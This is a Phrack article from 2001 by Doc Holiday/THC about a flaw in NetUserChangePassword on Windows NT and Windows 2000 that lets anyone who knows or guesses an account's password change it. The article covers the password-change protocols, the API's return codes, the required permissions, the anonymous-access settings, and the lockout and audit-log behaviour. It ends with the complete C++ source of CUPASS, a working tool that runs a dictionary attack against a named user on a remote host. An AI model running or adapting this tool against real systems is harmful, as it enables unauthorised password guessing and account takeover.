123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808 |
- ==Phrack Inc.==
- Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
- |=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
- |=-----------------------------------------------------------------------=|
- |=--------------=[ Doc Holiday / THC <holiday@thc.org> ]=----------------=|
- ----| INTRODUCTION
- Microsoft has a known problem in Windows NT 4, that enables an attacker
- to change the password of any user under special/default circumstances.
- The same problem reappeared in Windows 2000 some days ago. The flaw exists
- in Microsofts implementation of the NetUserChangePassword function.
- These facts inspired me to write this article and CUPASS, a simple tool
- that starts a dictionary attack against user accounts.
- In this article I want to discuss all things worth knowing about the
- NetUserChangePassword problem.
- Have fun while reading this article...
- Doc Holiday /THC
- ----| THE PASSWORD CHANGE PROTOCOLS
- As a little background I will tell you something about the possibilites
- to change a password in a Windows NT/W2K environment.
- Windows 2000 supports several protocols for changing passwords which
- are used under different circumstances.
- These protocols are
- - NetUserChangePassword protocol (we will call it NUCP)
- - NetUserSetInfo protocol
- - Kerberos change-password protocol
- - Kerberos set-password protocol
- - LDAP write-password attribute (presumes 128Bit SSL)
- - XACT-SMB protocol (for LAN Manager compatibility)
- Because there is a flaw in Microsofts implementation of the NUCP protocol,
- we will have a deeper look at this one.
- ----| PROTOCOL ELECTION
- We can see that there are a lot of protocols for changing passwords in an
- Microsoft environment. Now I will show in which cases the NUCP is used:
- case 1
- ------
- If a user changes his password by pressing CTRL+ALT+DELETE and pressing the
- "Change Password" button, the NUCP protocol is used, if the target is a
- domain or the local member server or workstation.
- If the target is a Kerberos realm, the Kerberos change-password protocol is
- used instead of NUCP.
- case 2
- ------
- If a change password request is initiated from an Windows NT 3.x or NT 4
- machine, the NUCP and/or NetUserSetInfo protocols are used.
- case 3
- ------
- If a program uses the NUCP method on the Active Directory Services
- Interface (ADSI), the IaDSUser interface first tries to change the
- password with the LDAP protocol, and then by using the NUCP method.
- ----| NUCP FUNCTION CALL
- At this time we know that a lot of ways exist to change a users
- password. We also know in which cases NUCP is used.
- Now we want to have a little look at the function NetUserChangePassword
- itself. (More detailed information can be found at Microsoft's SDK!)
- Prototype
- ---------
- The prototype of the NetUserChangePassword function is defined in
- "lmaccess.h", and looks as follows:
- NET_API_STATUS NET_API_FUNCTION
- NetUserChangePassword (
- IN LPCWSTR domainname OPTIONAL,
- IN LPCWSTR username OPTIONAL,
- IN LPCWSTR oldpassword,
- IN LPCWSTR newpassword
- );
- The parameters are explained consecutively:
- Parameters
- ----------
- ->domainname
- ----------
- Pointer to a null-terminated Unicode string that specifies the name of a
- remote server or domain.
- ->username
- --------
- Pointer to a null-terminated Unicode string that specifies a user name.
- ->oldpassword
- -----------
- Pointer to a null-terminated Unicode string that specifies the user's
- old password on the server or domain.
- ->newpassword
- -----------
- Pointer to a null-terminated Unicode string that specifies the user's new
- password on the server or domain.
- Return values
- -------------
- The return values are defined in "LMERR.H" and "WINERROR.H".
- With a deeper look in this files we can see that if the function was executed
- with success, the return value is 0 (zero) btw. NERR_Success.
- The most important error values are:
- ->ERROR_ACCESS_DENIED (WINERROR.H)
- --------------------------------
- Access is denied ;)
- If the target is a NT Server/Domain Controller, and the
- option "User Must Log On in Order to Change Password" is enabled,
- this error code is the result of CUPASS. The password could
- not be guessed :(
- If the target is a W2K domain controller with AD installed,
- and the EVERYONE group is removed from the group
- "Pre-Windows 2000 compatible access", than this error code
- is an result of NUCP.
- In some cases this means the right password was guessed by
- CUPASS, but could not be changed because of insufficient
- permissions on the corresponding AD object.
- ->ERROR_INVALID_PASSWORD (WINERROR.H)
- -----------------------------------
- The guessed password (oldpassword) was invalid
- ->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
- -------------------------------------
- The account is locked due to many logon tries.
- ->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
- ------------------------------------------
- Indicates a Windows NT Server could not be contacted or that
- objects within the domain are protected such that necessary
- information could not be retrieved.
- ->NERR_UserNotFound (LMERR.H)
- ---------------------------
- The useraccount could not be found on the given server.
- ->NERR_NotPrimary (LMERR.H)
- -------------------------
- The operation is only allowed on the PDC. This appears e.g. if
- you try to change passwords on a BDC.
- This return values are evaluated by CUPASS. For all others, the numeric
- value will be shown, and you can simply have a look at this files for
- the meaning of the errorcode.
- MORE DETAILS ON NUCP API CALL
- -----------------------------
- The NUCP function is only available on Windows NT and Windows 2000
- platforms.
- As part of the LanMan-API the NUCP function is UNICODE only!!!
- This makes the programming a little bit harder, but not impossible :)
- UNICODE on Windows is an topic for itself, and we dont want to talk more
- about it here. Have a look at Microsofts msdn webpage or Charles
- Petzolds book about Windows programming, if you are interested in this
- topic.
- For a successfull usage of NUCP, you have to link your program with the
- "Netapi32.lib" library!
- ----| REQUIRED PERMISSIONS FOR NUCP
- NUCP is part of the Microsoft network management functions.
- The management functions consists of different groups like
- NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
- These functions are again splitted in Query Functions and Update Functions.
- Whilst query functions just allow to query informations, the update
- functions allow changes on objects.
- An example for a query function is e.g the NetUserEnum function which
- provides information about all user accounts on a server.
- An example for an update function is the NetUserChangePassword function
- which changes the password of a user account :)
- Its easy to imagine, that query functions need less permissions than update
- functions for beeing executed.
- Lets have a look what permissions are needet:
- WINDOWS NT
- ----------
- The query functions like NetGroupEnum, NetUserEnum etc. and can be
- executed by all authenticated users.
- This includes Anonymous users, if the RestrictAnonymous policy setting
- allows anonymous access.
- On a Windows NT member server, workstation or PDC, the
- NetUserChangePassword function can only be (successfull) executed by
- Administrators, Account Operators or the user of the account, if the option
- 'User Must Log On in Order to Change Password' for this user is enabled.
- If 'User Must Log On in Order to Change Password' is not enabled, a user can
- change the password of any other user, as long he knows the actual password.
- WINDOWS 2000
- ------------
- The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
- all authenticated users. This includes Anonymous users, if the
- RestrictAnonymous policy setting allows anonymous access.
- On a W2K member server or workstation the NetUserChangePassword function
- should only be (successfully) executable by Administrators, Account
- Operators or the user of the account.
- That this isn't the case, can be shown with CUPASS, because here is the
- flaw that Microsoft made with his implementation of NetUserChangePassword.
- On W2K member servers and workstations, the NetUserChangePassword function
- can be successfully executed by any user who knows the current password of
- the attacked user account.
- ( For your information:
- The option 'User Must Log On in Order to Change Password' has been removed
- >from W2K! )
- On a W2K domain controller with Active Directory, access to an object is
- granted based on the ACL of the object (Because W2K with installed AD
- stores the user passwords in the AD in contrast to NT 3.x/4).
- Network management query functions are permitted to all authenticated
- users and the members of the group "Pre-Windows 2000 compatible access"
- by the default ACL's.
- Theoretical Network Management Update functions like NUCP are only
- permitted to Administrators and Account Operators.
- That this is not the case, can also be shown with CUPASS.
- CUPASS works fine if AD is installed on the target system.
- If the "everyone" group is removed from the
- "Pre-Windows 2000 compatible access" group, the result of CUPASS will
- be Errorcode 5, which means ACCESS_DENIED!.
- My research shows that anyhow the password is guessed by CUPASS, but
- can not be changed because of insufficient permissions on the AD object!
- ----| ANONYMOUS CONNECT
- There is something I didn't talk about much, the Anonymous User Problem,
- also known as the NULL-User problem.
- Lets have a short look at how the Anonymous security settings will take affect
- to the NUCP problem:
- -> W2K
- ---
- The value Data of the following registry value regulates the behaviour
- of the operating system regarding to the NULL USER CONNECT.
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
- Value: RestrictAnonymous
- Value Type: REG_DWORD
- If RestrictAnonymous is set to 0 (zero), which is the default setting,
- CUPASS will work properly.
- If RestrictAnonymous is set to 1, what means the enumeration of SAM
- accounts and names is not allowed, CUPASS will work properly.
-
- If RestrictAnonymous is set to 2, what means no access without explicit
- anonymous permissions, there is no possibility to change the password
- with NUCP :(
-
- Because the value 2 has comprehensive consequences to the behaviour of
- the windows environment (e.g. Browser service will not work properly,
- netlogon secure channels could not be established properly by member
- workstations etc..) it is rare used.
- These settings are the same on W2K member server and W2K DC with AD!
- -> NT4
- ---
-
- The value Data of the following registry value regulates the behaviour
- of the operating system regarding to the NULL USER CONNECT.
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
- Value: RestrictAnonymous
- Value Type: REG_DWORD
- Converse to W2K there are only two valid values 0 (zero) and 1 for
- RestrictAnonymous.
- If RestrictAnonymous is set to 0 (zero), which is the default setting,
- CUPASS will work properly.
- If RestrictAnonymous is set to 1, what means the enumeration of SAM
- accounts and names is not allowed, CUPASS will work properly.
- COMMON
- ------
- The process that calls the NetUserChangePassword function in some cases
- must have the SE_CHANGE_NOTIFY_NAME privilege
- (except for system account and members of the local Administrator group).
- Per default this privilege is enabled for every account, but can be
- disabled by the administrator.
- SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
- because it is called "Bypass traverse checking"!
- This is an declarative from Microsoft. I tried it, but I didn't find a case
- in that this right was necessary to execute the NUCP function call.
- ----| POLICY AND LOGGING
- I will have a look for the policy settings, that will take affect to the
- NUCP problem.
- ACCOUNT POLICIES
- ----------------
- ->PASSWORD POLICY
- ---------------
-
- The settings "Enforce password history" and "Minimum password age"
- will take effect to the result of CUPASS, in the way that CUPASS can't
- "realy" change the password, and the error code 2245 will result.
-
- But this doesn't matter, because we know the "old" password at this time,
- and CUPASS just tried to replace the "old" password with the "old"
- password again.
-
- ->ACCOUNT LOGOUT POLICY
- ---------------------
-
- Account lockout treshold
- ------------------------
- The settings "Account lockout duration" and
- "Reset Account lockout after ..." are only relevant if the
- "Account lockout treshold" ist set to any value >0.
- If the treshold is set, than this takes affect to the work of CUPASS,
- because all attempts of CUPASS exceeding the treshold will lead to an
- account lockout :(
- However the Logout Policy ist not valid for the Administrator on NT4
- environments, until the NT Reskit tool "Passprop" is used!
- In this case even the Administator account will be locked
- for network logons!
- If we start CUPASS against any account of a W2K server or a W2K domain
- controller with AD, this account is locked out, and even the
- Administrator account is marked as "Account is locked out", too !
- But it is still possible for the Administrator account to log on
- interactive on the machine!
-
-
- AUDIT POLICY
- ------------
- Lets have a look which auditing events have to enabled, to see an
- CUPASS attack in the security logs of the target machine.
-
- Audit Account Management
- ------------------------
- If the setting "Audit Account Management" is enabled (success/failure),
- an entry with the ID 627 appears in in the security log.
- This entry contains all necessary datas for the administrator :(
- These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
-
- Audit account logon events
- --------------------------
- Surprisingly for some administrators, there appears no log entry if
- the settings "Audit account logon events" or "Audit logon events"
- are enabled, if the attack goes to the local machine.
- This is e.g. the case if you want to guess the local administrator
- password of your machine.
- If the CUPASS attack comes from remote, log entries ID 681 and ID 529
- occures.
- Audit Object Access
- -------------------
-
- If this type of auditing is enabled, and the attack goes to the
- local machine, an logfile entry with the ID 560 and 562 appears.
- ID 560 tells us that someone opened the object
- "Security Account Manager" whilst 562 tells us something like
- "Handle closed"...
- Maybe there occure some more logfile entries with other ID's, but these
- ones listed above are the ones I found while testing CUPASS.
- So test CUPASS on your own environment and have a look into your logfiles!
- ----| LAST WORDS
- I hope this article could give you a little overview about the
- NetUserChangePassword problem, and Microsoft's inconsequent implementation
- of security and function calls.
- This article could not treat this topic concluding, because there are
- so many different situations and configurations that I could not test
- in my short sparetime :)
- ----| GREETS
- Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
- and all the other members from THC, VAX who gives me a lift to HAL2001,
- the guys from TESO, Seth, Rookie and all the other people knowing me...
- The biggest THANX are going to my wife, who missed me nearly the whole
- weekend while I was writing this article!
-
- Ok, have a nice day and lets meet and party at HAL2001 :)
- <++> cupass.cpp !a10c7302
- /*
- * CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@thc.org>
- * http://www.hackerschoice.com
- *
- * Dictionary Attack against Windows Passwords with NetUserChangePassword.
- * Do only use for legal purposes.
- *
- * Compiled and tested on Windows NT/W2K - runs not on Win9x!!
- * Compiled with VC++ 6.0
- *
- */
- #define UNICODE 1
- #define _UNICODE 1
- #include <windows.h>
- #include <lmaccess.h>
- #include <stdio.h>
- #include <wchar.h>
- #pragma comment( lib, "netapi32.lib" )
- void wmain( int argc, wchar_t *argv[] )
- {
- wchar_t *hostname = 0;
- wchar_t *username = 0;
- wchar_t *dictfile = 0;
- wchar_t myChar[256];
- NET_API_STATUS result;
- FILE *stream;
- LPWSTR oldpassword;
- if (argc != 4)
- {
- wprintf (L"\nMissing or wrong parameters!\n");
- wprintf (
- L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
- exit(1);
- }
- hostname = argv[1];
- username = argv[2];
- dictfile = argv[3];
- if (wcsncmp(hostname, L"\\\\",2 )!=0)
- {
- wprintf (L"\nups... you forgot the double backslash?");
- wprintf (
- L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
- exit(1);
- }
- if( (stream = _wfopen( dictfile, L"r" )) == NULL )
- {
- wprintf( L"\nups... dictionary %s could not be opened", dictfile );
- wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
- }
- else
- {
-
- wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
- wprintf (L"\nStarting attack .....\n");
- wprintf (L"\nTarget: %s ", hostname);
- wprintf (L"\nUser: %s\n ", username);
- while( !feof( stream ) )
- {
- fgetws (myChar, 256,stream);
- if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
- if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
- oldpassword = myChar;
-
- wprintf( L"\nTrying password %s \n", oldpassword );
-
- result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
-
- switch (result)
- {
- case 0:
- wprintf( L"GOTCHA!! Password was changed\n" );
- wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
- fclose (stream);
- exit (1);
- break;
-
- case 5: //ERROR_ACCESS_DENIED
- wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword);
- fclose (stream);
- exit(1);
- break;
-
- case 86: //ERROR_INVALID_PASSWORD
- wprintf( L"Attempt failed -> Incorrect password\n" );
- break;
-
- case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO
- wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
- fclose (stream);
- exit(1);
- break;
- case 1909: //ERROR_ACCOUNT_LOCKED_OUT
- wprintf (L"Attempt failed -> Account locked out\n");
- fclose (stream);
- exit(1);
- break;
- case 2221: //NERR_UserNotFound)
- wprintf (L"Attempt failed -> User %s not found\n", username);
- fclose (stream);
- exit(1);
- break;
-
- case 2226://NERR_NotPrimary
- wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
- break;
- case 2245:
- wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword);
- fclose(stream);
- exit(1);
- break;
- default:
- wprintf( L"\nAttempt failed :( %lu\n", result );
- fclose(stream);
- exit(1);
- break;
- }
- }
- fclose (stream);
- }
- }
- <--> end cupass.cpp
- |=[ EOF ]=---------------------------------------------------------------=|
|